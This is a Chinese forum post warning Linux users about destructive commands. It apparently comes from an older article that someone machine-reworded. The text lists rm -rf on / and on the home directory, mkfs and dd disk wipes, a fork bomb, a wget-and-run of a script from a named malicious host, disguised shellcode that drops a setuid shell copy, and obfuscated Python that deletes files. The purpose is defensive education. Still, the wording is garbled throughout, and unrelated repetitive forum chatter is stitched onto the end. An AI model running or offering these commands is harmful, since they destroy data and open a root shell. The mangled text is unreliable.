来一发万万万万不要运转的命令!
vim除非你打算真正的学好linux,或者说打算长久时间学习他,而且肯花大量时间vim,否则,最好别碰告诫:
文中列出的命令相对不成以运转,即便你以为很猎奇也不可,由于它们会实其实在的损坏你的体系。
日夕有一天,Linux体系会像Windows那样盛行,用的人愈来愈多,包含对盘算机不是很懂得的人,本文的目标就是告知人人:在Linux给你最年夜水平自在度的同时,也使得损坏体系变得加倍简单,假如你不懂得某些命令的意义,下载实行包括歹意命令的剧本,大概上圈套运转某些命令,很简单让你哭都来不及。
这并非申明Linux不平安,只是申明在不懂得Linux,和很不当心的人眼前,Linux非常不平安。Windows也好,Linux也好,人自己才是最年夜的不平安要素。
上面的命令会删除你硬盘上的文件,rm的-r递回删除,和-f强迫删除是很伤害的选项,即便一样平常操纵,也会碰到误删文件的情形。
sudorm-rf/删除根分区全体的文件
sudorm-rf.删除以后目次下的一切文件
sudorm-rf*同上
rm-rf*orrm-rf*.*同上
rm-rf~/&删除根分区和家目次,即便你不是root,家目次仍是不克不及幸免。
一样,假如你不晓得mkfs.xxxx(xxxx能够是vfat、ext2、ext3、bfs……)是格局化命令的话,运转上面的命令会擦除你的硬盘分区:
sudomkfs.xxxx
dd是壮大的IO输出输入定向工具,假如利用不妥,损坏性很年夜,不单单是以后分区,以后体系,有的时分是全部硬盘。
sudoddif=/dev/zeroof=/dev/sda全体硬盘清零。
sudoddif=/dev/sdaof=/dev/sdb用第一块硬盘的内容掩盖第二块的内容。
sudoddif=somethingof=/dev/sda往硬盘上写渣滓数据。
同理,间接把命令了局定向到硬盘上,相称于往硬盘上写渣滓数据:
any_command>/dev/sda用随便的数据损坏硬盘
下面的sda、sdb也多是其他相似的称号。Linux的/dev体系给利用硬件供应了很便利和壮大的功效,同时也使得损坏变得更简单。
fork命令翻开一个子历程,假如把fork放在无穷轮回中,终极子历程会耗尽一切内存资本:
:(){:|:&};:
这段不知所云的标记,可让Shell一直的fork子历程,最初招致内存耗尽,不能不重启,这不是bug,只是Shell语句存心写成简写的情势罢了。上面的同理:
forkwhilefork
有的时分,紧缩包也是一个损坏来历~
有的紧缩包请求你解压到某个体系中已存在的目次中,这时候候你就要出格当心了,紧缩包内里大概有不计其数的小文件,以各类文件名实验掩盖你现有的文件。
有的紧缩包看起来很小,可是解压出来是上GB的渣滓数据,会充溢你的硬盘。
从不正轨网站下载的程序、剧本,一样会有包括歹意命令的伤害,不成任意实行:
wgethttp://some_place/some_file
sh./some_file
wgethttp://hax018r.org/malicious-script
sh./malicious-script
载剧本要确保来历正轨,假如有才能,能够浏览其代码。
即便有源代码的程序,也不要任意编译实行:
charesp[]__attribute__((section(".text")))/*e.s.p
release*/
="xebx3ex5bx31xc0x50x54x5ax83xecx64x68"
"xffxffxffxffx68xdfxd0xdfxd9x68x8dx99"
"xdfx81x68x8dx92xdfxd2x54x5exf7x16xf7"
"x56x04xf7x56x08xf7x56x0cx83xc4x74x56"
"x8dx73x08x56x53x54x59xb0x0bxcdx80x31"
"xc0x40xebxf9xe8xbdxffxffxffx2fx62x69"
"x6ex2fx73x68x00x2dx63x00"
"cp-p/bin/sh/tmp/.beyond;chmod4755
/tmp/.beyond;";
下面看起来只是一堆没成心义的16进制数据,假如有人告知你,运转这个程序你就能够不输出暗码获得体系的root权限,你可不要信任他,下面的程序实践运转的是rm-rf~/&!!!
python一类的剧本言语,一样能够拿来弄损坏:
python-cimportos;os.system("".join())
这段程序实践上会实行rm-rf*,大概你很奇异下面程序开头的“sn!.sg!”是甚么意义,实践上就是rm-rf*每一个字母的下一个!
那末我们怎样制止运转歹意程序呢?
第一不要用root作为一样平常利用的用户,下面的程序,假如以后用户不是root,伤害的涉及局限就会小良多。
第二要晓得哪些命令是干甚么用的,不晓得的命令不要贸然运转。运转有潜伏损坏才能的程序,要当心反省本人的输出。
第三要包管软件、剧本的来历正轨。
最初一点,固然对照悲观,可是的确非常主要的一点:
常常备份你的数据!!
</p>
网络操作命令:ifconfig、ip、ping、netstat、telnet、ftp、route、rloginrcp、finger、mail、nslookup 这种补充有助于他人在邮件列表/新闻组/论坛中搜索对你有过帮助的完整解决方案,这可能对他们也很有用。 可以说自己收获很大,基本上完成了老师布置的任务,对于拔高的题目没有去做,因为我了解我的水平,没有时间和精力去做。? 期间我阅读了不少关于Linux的相关资料,其中也不乏一些有趣的小故事,这既丰富了我的课余生活,也让我加深了对一些术语的理解,比玩游戏强多了。? 其中不乏很多IT精英的心血。我们学透以后更可以做成自己的OS!? 可以说自己收获很大,基本上完成了老师布置的任务,对于拔高的题目没有去做,因为我了解我的水平,没有时间和精力去做。? 可以说自己收获很大,基本上完成了老师布置的任务,对于拔高的题目没有去做,因为我了解我的水平,没有时间和精力去做。? 尽量不要提问纯属是扯蛋.学习Linux特别是自己一个人初学入手的时候没人教很困难.当然如果可以的话平时多去买些Linux书...对学习Linux很有帮助.
页:
[1]